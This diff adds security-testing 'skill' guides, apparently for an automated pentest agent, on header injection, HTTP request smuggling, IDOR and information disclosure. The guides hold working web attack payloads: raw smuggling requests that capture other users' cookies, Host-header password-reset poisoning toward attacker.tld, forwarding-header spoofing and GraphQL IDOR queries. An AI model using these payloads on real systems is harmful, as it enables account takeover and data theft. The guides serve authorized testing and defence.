+Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting `Content-Length` and `Transfer-Encoding`, or two `Content-Length` headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
+
+### Cache Poisoning
+
+- **Unkeyed input → keyed response**: input that influences the response body but not the cache key (an `X-Forwarded-Host` echoed in a link, an unkeyed query parameter reflected in HTML)
+- **`Vary` manipulation**: inject a `Vary` header to over-fragment the cache (DoS-flavored) or under-fragment it (cross-user serving)
+- **`X-Forwarded-Proto` / `X-Forwarded-Host` poisoning**: backend uses these to build canonical URLs in the response; CDN caches the response with attacker-controlled links
+- **`Cache-Control` injection**: flip `private` to `public` (or vice versa) to change cache eligibility; inject `max-age=999999` for persistent poisoning, or `max-age=0` / `no-cache` to flush — `Age` is generated by the cache itself and isn't a freshness control, don't bother with it
+- **Web cache deception**: trick the cache into storing an authenticated response at a public-looking URL (`/account/profile.css`) by appending a cacheable extension
+
+### Host Header Confusion
+
+Backends often trust `Host` (or `X-Forwarded-Host`) when constructing absolute URLs — password reset emails, OAuth `redirect_uri`, canonical link tags. Sending a forged Host produces a reset link pointing at attacker-controlled infrastructure that still carries the victim's reset token.
+
+```
+POST /password-reset HTTP/1.1
+Host: attacker.tld
+```
+
+Also test: precedence between `Host` and `X-Forwarded-Host`, IPv6 bracketing (`Host: [::1]:80`), trailing dot (`Host: example.com.`), and port confusion (`Host: example.com:@attacker.tld`).
+
+### Cookie / Set-Cookie Manipulation
+
+- Inject `Domain=.example.com` or `Path=/` to widen scope of an attacker-set cookie
+- Inject `SameSite=None; Secure` to allow cross-site inclusion
+- Inject `Max-Age=999999999` for persistence, or `Max-Age=-1` to nuke the victim's session
+- Inject a cookie with the same name as a real session cookie — precedence rules let a same-domain attacker shadow it (cookie tossing)
+- Reflected cookie XSS: if a cookie value is later rendered unescaped in HTML, the injection point is the header but the sink is the page
+
+### Proxy and Forwarding Header Spoofing
+
+The `X-Forwarded-*` family is informational — there is no protocol guarantee about who set them. Any application that trusts them past the boundary it controls is exploitable.
+
+- `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP
+- `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP
+- `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above
+- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same primitive, different header names; spray all of them
+- `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass
+
+### Content-Type / Encoding Confusion
+
+- Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS
+- Inject `charset=utf-7` in `Content-Type` for legacy XSS via UTF-7-encoded payloads
+- Inject `Content-Disposition: inline` to switch a download into in-page rendering
+- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths
+- *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't
+
+### XSS via Response Headers
+
+- `Location: javascript:alert(1)` if redirect target is reflected unescaped (browsers usually block, but some legacy clients and Electron-style hosts don't)
+- `Location: data:text/html,<script>alert(1)</script>` — same caveat
+- `Refresh: 0; url=javascript:alert(1)` — the legacy `Refresh` header is a JavaScript-free meta-refresh equivalent
+- Reflected request header XSS: `Referer` echoed into a custom error page, `User-Agent` echoed into a debug header — combine CRLF injection with a body-injection sink
+
+### Open Redirect via Headers
+
+- `Location` is the obvious one
+- `Refresh: 0; url=https://attacker.tld` — bypasses some `Location`-only filters
+- `Link: <https://attacker.tld>; rel="canonical"` — usually informational but consumed by SEO tooling and some clients
+- `X-Accel-Redirect: /internal/file` (Nginx) — if user input reaches this, internal-only files become accessible
+
+### HTTP/2 Pseudo-Header and Frame Confusion
+
+- HTTP/2 splits headers into pseudo-headers (`:method`, `:path`, `:authority`, `:scheme`) and regular fields. Servers downgrading to HTTP/1.1 sometimes mishandle pseudo-header values, enabling smuggling across the H2 → H1 boundary.
+- HTTP/2 lowercases header names; an upstream H1 filter that's case-sensitive may miss a lowercase variant that the H2 backend then accepts.
+- HEADERS / CONTINUATION frame splitting: payload spans frames, intermediaries differ on whether they reassemble before applying filters.
+
+## Bypass Techniques
+
+**Encoding**
+- URL-encode (`%0d%0a`) and double-encode (`%250d%250a`) for WAFs that decode the wrong number of times
+- Mix encodings within one payload: `%0d%0A`, `%0D\n`, alternating case
+- Newline-equivalent Unicode: U+2028 / U+2029 (sometimes folded to LF), overlong UTF-8 of CR/LF
+
+**Header normalization edges**
+- Leading / trailing whitespace and tabs in header names and values
+- Header folding (obs-fold per RFC 7230 — formally obsolete, but some parsers still accept continuation lines starting with whitespace)
+- Duplicate headers — RFC says join with `,`; in practice servers pick first, last, or differ from the proxy in front of them
+
+**Method and method-override**
+- `X-HTTP-Method-Override: PUT` (and `X-Method-Override`, `X-HTTP-Method`) to reach state-changing handlers when the framework consults the override before applying method-based authorization
+- Effective from server-side or non-browser clients (curl, internal tooling, server-to-server proxies); from a browser the header is non-safelisted and triggers a CORS preflight, so it isn't a CSRF primitive on its own
+
+**Header name games**
+- Case mangling for filters that key off exact casing
+- Null byte truncation in header name (`X-Forwarded-For\x00Evil`) on parsers that stop at NUL
+
+## Testing Methodology
+
+1. **Inventory varying headers** — enumerate every response header whose value moves with input
+2. **Probe CR/LF normalization** — inject `%0d%0a` (and the encoding variants) into each varying header source; observe whether the second line lands as a real header
+3. **Test Host / X-Forwarded-Host** — submit a password-reset or any link-generating flow with attacker-controlled Host; confirm the link in the response or follow-up email
+4. **Probe forwarding headers** — spoof `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` against IP-restricted endpoints (admin, rate-limited)
+5. **Test cache key / response content split** — find inputs that change the body but not the cache key; confirm a second request from a different session sees the poisoned response
+6. **Test method override** — `X-HTTP-Method-Override` paired with state-changing endpoints reachable via POST or GET
+7. **Test request smuggling pairs** — conflicting `Content-Length` and `Transfer-Encoding`, two `Content-Length` headers, malformed chunked encoding, against any frontend → backend pair
+8. **Cross-protocol** — replay payloads over HTTP/1.1 and HTTP/2; diff behavior
+
+## Validation
+
+1. Show two distinct users (or sessions) receiving content keyed on attacker-supplied header — proves cache poisoning
+2. Capture a password-reset / OAuth link pointing at attacker-controlled host — proves Host injection
+3. Demonstrate the same endpoint returning different auth decisions with and without a forged forwarding header
+4. For response splitting: show a downstream cache or proxy serving the injected second response to an unrelated request
+5. For request smuggling: show one victim request seeing data from a different request appended (not just timing or single-shot anomaly)
+6. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
+
+## False Positives
+
+- Headers that vary by input but are correctly keyed in the cache (intentional personalization, Vary set correctly)
+- `X-Forwarded-*` reflected back but only used for logging — not a security boundary, may not be exploitable
+- Browsers blocking `Location: javascript:` or `Location: data:` — capability exists in the protocol but most modern browsers refuse to navigate
+- CRLF appearing in response headers but stripped by an outer proxy before reaching any client or cache
+- Request smuggling indicators that turn out to be normal pipelining or keep-alive behavior
+
+## Impact
+
+- Cross-user cache poisoning (defacement, XSS, account takeover via cached auth response)
+- Account takeover via Host-confused password-reset / OAuth flows
+- Auth bypass on endpoints trusting forwarding headers
+- Session fixation and cookie tossing leading to account hijack
+- Open redirect for phishing / OAuth `redirect_uri` abuse
+- Request smuggling — one victim's request reads another victim's response, including auth headers and cookies
+- WAF / detection bypass via header-name and encoding tricks
+
+## Pro Tips
+
+1. The fastest win is usually Host / `X-Forwarded-Host` in a password-reset or OAuth flow — try first, costs one request
+2. For cache poisoning, find the *unkeyed* input first (header that influences body but not cache key); the rest follows
+3. `X-HTTP-Method-Override` is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)
+4. Smuggling lives at the boundary — identify the proxy → backend pair (CDN → origin, ingress → service) and target the framing disagreement
+5. `X-Original-URL` / `X-Rewrite-URL` against IIS / ASP.NET admin endpoints is still a high-yield bypass
+6. Before claiming a CRLF win, verify the second line landed as a real header in the cache or downstream consumer — many servers strip CRLF silently
+7. Outbound email flows are a separate but related surface — user input flowing into SMTP headers (To, Cc, Subject, Reply-To) is its own injection class with the same root cause
+
+## Summary
+
+Header injection is fundamentally a normalization failure: somewhere on the request → response path, user input reached a header value without CR/LF stripping or proper escaping. The impact tiers up from open redirect to cache poisoning to request smuggling depending on which downstream component trusts the resulting header. Audit every header whose value moves with input, and treat every `X-Forwarded-*` / Host trust as a security boundary that needs explicit justification.

strix/skills/vulnerabilities/http_request_smuggling.md

@@ -0,0 +1,255 @@
+---
+name: http-request-smuggling
+description: HTTP request smuggling testing covering CL.TE, TE.CL, H2.CL, H2.TE, and HTTP/2 desync techniques with practical detection and exploitation methodology
+---
+
+# HTTP Request Smuggling
+
+HTTP request smuggling (HRS) exploits disagreements between a front-end proxy and a back-end server about where one HTTP request ends and the next begins. When the two systems parse `Content-Length` and `Transfer-Encoding` headers differently, an attacker can prefix a hidden request to the back-end's socket, which is then prepended to the next legitimate user's request. The impact ranges from bypassing front-end security controls to full cross-user session hijacking.
+
+## Attack Surface
+
+**Infrastructure Topologies**
+- CDN or load balancer in front of origin server (Cloudflare, Nginx, HAProxy, AWS ALB)
+- Reverse proxy chains (Nginx → Gunicorn, HAProxy → Node.js, Varnish → Apache)
+- API gateways forwarding to microservices
+- HTTP/2 front-end to HTTP/1.1 back-end translation (H2.CL / H2.TE)
+- Tunneling servers or WAFs that terminate and re-forward requests
+
+**HTTP Versions in Play**
+- HTTP/1.1: CL.TE and TE.CL classic smuggling
+- HTTP/2: H2.CL (downgrade injects Content-Length) and H2.TE (injects Transfer-Encoding)
+- HTTP/3: emerging QUIC-based desync (less common, research-stage)
+
+**Parser Differentials**
+- Treatment of duplicate `Content-Length` headers
+- Handling of `Transfer-Encoding: chunked` when `Content-Length` is also present
+- Chunk size obfuscation via whitespace, tab, case, or invalid extensions
+
+## High-Value Targets
+
+- Front-end security controls (authentication bypass via desync)
+- Endpoints shared by many users (high-traffic APIs, chat, feeds)
+- Request capture endpoints (search, logging, analytics)
+- Session-sensitive endpoints (auth callbacks, account settings)
+- Internal admin interfaces proxied through the same connection pool
+
+## Core Concepts
+
+### CL.TE — Front-end uses Content-Length, Back-end uses Transfer-Encoding
+
+Front-end reads `Content-Length: X` bytes and forwards. Back-end reads until the `0\r\n\r\n` chunk terminator. Attacker appends a hidden request after the `0` terminator that the front-end considers part of the same body but the back-end treats as a new request.
+
+```http
+POST / HTTP/1.1
+Host: target.com
+Content-Length: 6
+Transfer-Encoding: chunked
+
+0
+
+G
+```
+The `G` is left in the back-end's socket buffer and prepended to the next request.
+
+### TE.CL — Front-end uses Transfer-Encoding, Back-end uses Content-Length
+
+Front-end reads chunked body to completion. Back-end reads only `Content-Length` bytes, leaving the remainder on the socket.
+
+```http
+POST / HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 3
+Transfer-Encoding: chunked
+
+8
+SMUGGLED
+0
+
+
+```
+
+### H2.CL — HTTP/2 Front-end Downgrades to HTTP/1.1, Injects Content-Length
+
+HTTP/2 has no `Content-Length` vs `TE` ambiguity in its own framing. But when the front-end downgrades to HTTP/1.1 for the back-end, an attacker can inject a `content-length` header in the HTTP/2 request that conflicts with the actual body length. Note: `content-length` is a regular HTTP/2 header — pseudo-headers are exclusively `:method`, `:path`, `:authority`, and `:scheme`:
+```
+:method POST
+:path /
+:authority target.com
+content-type application/x-www-form-urlencoded
+content-length: 0
+
+SMUGGLED_PREFIX
+```
+
+### H2.TE — HTTP/2 Injects Transfer-Encoding Header
+
+Inject `transfer-encoding: chunked` in HTTP/2 headers (which the HTTP/2 spec forbids, but some front-ends pass through). Back-end receives both headers, may prefer TE over CL.
+
+```
+:method POST
+:path /
+transfer-encoding: chunked
+
+0
+
+SMUGGLED
+```
+
+## Key Vulnerabilities
+
+### Front-End Security Control Bypass
+
+A front-end proxy enforces authentication or IP restriction by checking request headers and blocking or allowing based on rules. If a smuggled prefix bypasses the front-end (because it's buried in a prior request's body from the front-end's view), the back-end processes it without the security check.
+
+**PoC structure (CL.TE):**
+```http
+POST /not-restricted HTTP/1.1
+Host: target.com
+Content-Length: 100
+Transfer-Encoding: chunked
+
+0
+
+GET /admin HTTP/1.1
+Host: target.com
+X-Forwarded-Host: target.com
+Content-Length: 10
+
+x=1
+```
+The `GET /admin` is seen by the back-end as a new, legitimate request originating from the trusted proxy IP.
+
+### Cross-User Request Capture
+
+Poison the back-end socket with a partial request prefix that captures the next victim user's request (including their cookies, tokens, request body) into the response of a controlled endpoint (search, comment submission).
+
+**PoC structure (CL.TE capture):**
+```http
+POST /search HTTP/1.1
+Host: target.com
+Content-Length: 120
+Transfer-Encoding: chunked
+
+0
+
+POST /search HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 100
+
+q=
+```
+`Content-Length: 100` in the smuggled prefix is longer than the actual smuggled body, so the back-end waits for 100 bytes — which it sources from the *next* user's request. The `/search` endpoint reflects the query, capturing headers and body of the subsequent request.
+
+### Response Queue Poisoning
+
+On pipelined connections, cause a misaligned response to be delivered to the wrong user (HTTP/1.1 response queue poisoning). Used to deliver attacker-controlled content or steal another user's response.
+
+### Request Reflection / Cache Poisoning Chain
+
+Smuggle a prefix that hits a cacheable endpoint with an injected `Host` header. If the cache stores the response keyed only on URL, the poisoned response is served to all users requesting that URL.
+
+### WebSocket Handshake Hijacking
+
+If the proxy performs WebSocket upgrade, a smuggled `Upgrade` request can hijack an existing WebSocket connection from a subsequent user.
+
+## Detection Techniques
+
+### Timing-Based Detection
+
+**CL.TE:** Send a request where `Content-Length` is complete but `Transfer-Encoding` body is missing the `0\r\n\r\n` terminator. A CL.TE-vulnerable back-end waits for the terminator, causing a timeout.
+
+```http
+POST / HTTP/1.1
+Host: target.com
+Transfer-Encoding: chunked
+Content-Length: 6
+
+3
+abc
+X
+```
+If response is delayed 10–30 seconds, CL.TE desync likely.
+
+**TE.CL:** Send a request with a complete chunked body (including the `0\r\n\r\n` terminator so the front-end is satisfied) but with `Content-Length` set to **more** bytes than the body actually provides. The back-end, using Content-Length, waits for the remaining bytes that never arrive — producing a 10–30 second timeout. Setting Content-Length *less* than the body causes socket poisoning (differential-response detection), not a timeout.
+
+### Differential Response Detection
+
+Send two requests in sequence. If the second request receives an unexpected response (error, redirect, wrong content), the first may have poisoned the socket. Use a unique string in the smuggled prefix to confirm.
+
+### Content-Length + Transfer-Encoding Combination
+
+```http
+Transfer-Encoding: xchunked        # non-standard value, some FE ignore, BE accept
+Transfer-Encoding: chunked         # leading space before value (0x20 byte after colon+space)
+Transfer-Encoding:	chunked        # tab character before value
+Transfer-Encoding: x
+Transfer-Encoding: chunked         # duplicate TE headers, BE uses last
+```
+
+## Transfer-Encoding Obfuscation
+
+To force TE disagreement:
+```
+Transfer-Encoding: xchunked
+Transfer-Encoding : chunked       # space before colon
+X: X<CRLF>Transfer-Encoding: chunked # header injection — inject actual CRLF bytes at <CRLF>, not the literal string \r\n
+Transfer-Encoding: chunked<CRLF>Transfer-Encoding: x  # TE twice — inject actual CRLF bytes at <CRLF>
+```
+
+## HTTP/2-Specific Detection
+
+- Send HTTP/2 requests with an injected `content-length` regular header that differs from the actual body length
+- Inject `transfer-encoding: chunked` in HTTP/2 headers (spec-forbidden but sometimes passed through)
+- Use HTTP/2 header injection: inject newlines in header values if the front-end passes them to HTTP/1.1 back-end unescaped
+- Observe whether the HTTP/2 connection ID corresponds to a persistent HTTP/1.1 connection to the back-end (connection reuse amplifies impact)
+
+## Testing Methodology
+
+1. **Map the proxy chain** — identify front-end (CDN, load balancer, WAF) and back-end (app server)
+2. **Probe CL.TE** — send a timing probe with mismatched chunked terminator; observe delay
+3. **Probe TE.CL** — send a timing probe with complete chunked body but Content-Length larger than the actual body; observe back-end timeout
+4. **Obfuscate TE header** — try each obfuscation variant (tab, extra space, duplicate, non-standard value)
+5. **Confirm with differential response** — send two rapid identical requests; if second gets an unexpected response, socket is poisoned
+6. **Attempt bypass exploit** — craft a smuggled `GET /admin` or restricted endpoint and observe if back-end accepts it
+7. **Attempt capture** — poison with a partial POST pointing to a reflective endpoint; wait for a follow-up request to fill the buffer
+8. **Test H2.CL/H2.TE** — repeat the same probes over HTTP/2 connections if the target supports HTTP/2
+
+## Validation
+
+1. Show a timing differential of 10+ seconds on the CL.TE or TE.CL probe and explain the mechanism
+2. Demonstrate a bypass: smuggle a request to `/admin` and receive a 200 response where a direct request returns 403
+3. For capture: show a subsequent user's `Cookie` or `Authorization` header appearing in the response of a controlled endpoint
+4. Confirm with a unique marker string in the smuggled prefix to rule out timing noise
+5. Provide the exact raw bytes of the smuggled request
+
+## False Positives
+
+- General network latency or server-side processing delays unrelated to smuggling
+- Server consistently close connection after first request (no connection reuse, no socket sharing)
+- HTTP/2 with full end-to-end HTTP/2 to back-end (no HTTP/1.1 downgrade, no desync surface)
+- WAF or proxy that normalizes TE/CL headers before forwarding (removes the ambiguity)
+
+## Impact
+
+- Authentication and authorization bypass by smuggling requests past front-end access controls
+- Cross-user session hijacking by capturing requests containing session tokens
+- Cache poisoning affecting all users of a cached resource
+- Internal service access bypassing IP-based restrictions enforced at the front-end
+- XSS delivery via response queue poisoning in shared connection contexts
+
+## Pro Tips
+
+1. Use Burp Suite's HTTP Request Smuggler extension as a rapid scanner, but always confirm manually — false positives are common
+2. TE obfuscation is the most reliable path; `Transfer-Encoding: xchunked` works on many Apache/IIS back-ends
+3. Keep smuggled prefixes short during detection; use the minimal body to confirm desync before attempting capture attacks
+4. H2.CL is the most impactful modern variant — many CDNs translate HTTP/2 to HTTP/1.1 and derive `Content-Length` from the `content-length` regular header sent in the HTTP/2 request (not a pseudo-header — inject it as a normal header field)
+5. In capture attacks, set `Content-Length` in the smuggled prefix larger than your partial body by 50–100 bytes to catch a full auth header from the next user
+6. Test during low-traffic periods first to avoid affecting real users; always get explicit authorization for capture attempts
+7. If timing probes are inconsistent, pipeline two requests over the same connection and look for unexpected response swapping
+
+## Summary
+
+HTTP request smuggling is eliminated by enforcing consistent TE/CL interpretation at every hop in the proxy chain, preferring end-to-end HTTP/2, and having back-end servers reject or normalize ambiguous requests. At the proxy level, never forward TE headers that were not present in the original request, and treat conflicting CL + TE as a hard error.

strix/skills/vulnerabilities/idor.md

@@ -0,0 +1,217 @@
+---
+name: idor
+description: IDOR/BOLA testing for object-level authorization failures and cross-account data access
+---
+
+# IDOR
+
+Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.
+
+## Attack Surface
+
+**Scope**
+- Horizontal access: access another subject's objects of the same type
+- Vertical access: access privileged objects/actions (admin-only, staff-only)
+- Cross-tenant access: break isolation boundaries in multi-tenant systems
+- Cross-service access: token or context accepted by the wrong service
+
+**Reference Locations**
+- Paths, query params, JSON bodies, form-data, headers, cookies
+- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
+
+**Identifier Forms**
+- Integers, UUID/ULID/CUID, Snowflake, slugs
+- Composite keys (e.g., `{orgId}:{userId}`)
+- Opaque tokens, base64/hex-encoded blobs
+
+**Relationship References**
+- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
+
+**Expansion/Projection Knobs**
+- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate`
+- Often bypass authorization in resolvers or serializers
+
+## High-Value Targets
+
+- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
+- Messaging/mailbox/notifications, audit logs, activity feeds
+- Billing: invoices, payment methods, transactions, credits
+- Healthcare/education records, HR documents, PII/PHI/PCI
+- Admin/staff tools, impersonation/session management
+- File/object storage keys (S3/GCS signed URLs, share links)
+- Background jobs: import/export job IDs, task results
+- Multi-tenant resources: organizations, workspaces, projects
+
+## Reconnaissance
+
+**Parameter Analysis**
+- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state)
+- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
+- Find undocumented params with `arjun -u <url>` (GET) or `arjun -u <url> -m POST` —
+  surfaces hidden filters like `?include_deleted=1`, `?as_user=…`, `?owner_id=…`
+  that frequently widen the IDOR surface.
+
+**Enumeration Techniques**
+- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars
+- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows
+- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence)
+- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
+- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv`
+
+**UUID/Opaque ID Sources**
+- Logs, exports, JS bundles, analytics endpoints, emails, public activity
+- Time-based IDs (UUIDv1, ULID) may be guessable within a window
+
+## Key Vulnerabilities
+
+### Horizontal & Vertical Access
+
+- Swap object IDs between principals using the same token to probe horizontal access
+- Repeat with lower-privilege tokens to probe vertical access
+- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
+
+### Bulk & Batch Operations
+
+- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
+- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
+
+### Secondary IDOR
+
+- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs
+- Fetch or mutate those objects directly
+- Pagination/cursor manipulation to skip filters and pull other users' pages
+
+### Job/Task Objects
+
+- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`)
+- Cancel/approve someone else's jobs by referencing their task IDs
+
+### File/Object Storage
+
+- Direct object paths or weakly scoped signed URLs
+- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
+- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
+
+### GraphQL
+
+- Enforce resolver-level checks: do not rely on a top-level gate
+- Verify field and edge resolvers bind the resource to the caller on every hop
+- Abuse batching/aliases to retrieve multiple users' nodes in one request
+- Global node patterns (Relay): decode base64 IDs and swap raw IDs
+- Overfetching via fragments on privileged types
+
+```graphql
+query IDOR {
+  me { id }
+  u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
+  u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
+}
+```
+
+### Microservices & Gateways
+
+- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
+- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them
+- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
+
+### Multi-Tenant
+
+- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug)
+- Try mixing org of token with resource from another org
+- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
+
+### WebSocket
+
+- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`)
+- Subscribe/publish checks must run server-side, not only at handshake
+- Try sending messages with target user IDs after subscribing to own channels
+
+### gRPC
+
+- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware
+- Validate references via grpcurl with tokens from different principals
+
+### Integrations
+
+- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership
+- Third-party importers syncing data into wrong tenant due to missing tenant binding
+
+## Bypass Techniques
+
+**Parser & Transport**
+- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
+- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes
+- JSON duplicate keys/array injection to bypass naive validators
+
+**Parameter Pollution**
+- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings
+- Mix case/alias param names so gateway and backend disagree (userId vs userid)
+
+**Cache & Gateway**
+- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users
+- Manipulate Vary and Accept headers
+- Redirect chains and 304/206 behaviors can leak content across tenants
+
+**Race Windows**
+- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
+
+**Blind Channels**
+- Use differential responses (status, size, ETag, timing) to detect existence
+- Error shape often differs for owned vs foreign objects
+- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content
+
+## Chaining Attacks
+
+- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
+- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
+- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
+- IDOR + Race: bypass spot checks with simultaneous requests
+
+## Testing Methodology
+
+1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource)
+2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable)
+3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints
+4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants
+5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC
+6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway
+
+## Validation
+
+1. Demonstrate access to an object not owned by the caller (content or metadata)
+2. Show the same request fails with appropriately enforced authorization when corrected
+3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL)
+4. Document tenant boundary violations (if applicable)
+5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner)
+
+## False Positives
+
+- Public/anonymous resources by design
+- Soft-privatized data where content is already public
+- Idempotent metadata lookups that do not reveal sensitive content
+- Correct row-level checks enforced across all channels
+- Empty array / null returned for another user's resource — silent enforcement, not exposure; compare against the owner's view to confirm the data is actually missing rather than just hidden from the response shape
+
+## Impact
+
+- Cross-account data exposure (PII/PHI/PCI)
+- Unauthorized state changes (transfers, role changes, cancellations)
+- Cross-tenant data leaks violating contractual and regulatory boundaries
+- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
+
+## Pro Tips
+
+1. Always test list/search/export endpoints first; they are rich ID seeders
+2. Build a reusable ID corpus from logs, notifications, emails, and client bundles
+3. Toggle content-types and transports; authorization middleware often differs per stack
+4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children
+5. In multi-tenant apps, vary org headers, subdomains, and path params independently
+6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks
+7. Inspect gateways for header trust and cache key configuration
+8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding
+9. Use timing/size/ETag differentials for blind confirmation when content is masked
+10. Prove impact with precise before/after diffs and role-separated evidence
+
+## Summary
+
+Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.

strix/skills/vulnerabilities/information_disclosure.md

@@ -0,0 +1,183 @@
+---
+name: information-disclosure
+description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure
+---
+
+# Information Disclosure
+
+Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
+
+## Attack Surface
+
+- Errors and exception pages: stack traces, file paths, SQL, framework versions
+- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
+- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
+- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
+- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
+- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON
+- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
+- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
+- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
+- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
+
+## High-Value Surfaces
+
+### Errors and Exceptions
+
+- SQL/ORM errors: reveal table/column names, DBMS, query fragments
+- Stack traces: absolute paths, class/method names, framework versions, developer emails
+- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack
+- JSON/XML parsers: type mismatches leak internal model names
+
+### Debug and Env Modes
+
+- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
+- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs
+- Feature/config toggles exposed in JS or headers
+
+### DVCS and Backups
+
+- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets
+- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments
+- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs
+
+### Configs and Secrets
+
+- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
+- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens
+- Credentials and connection strings; internal hosts and ports; JWT secrets
+
+### API Schemas and Introspection
+
+- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations
+- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields
+- gRPC: server reflection exposing services/messages
+
+### Client Bundles and Maps
+
+- Source maps (`.map`) reveal original sources, comments, and internal logic
+- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets
+- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII
+
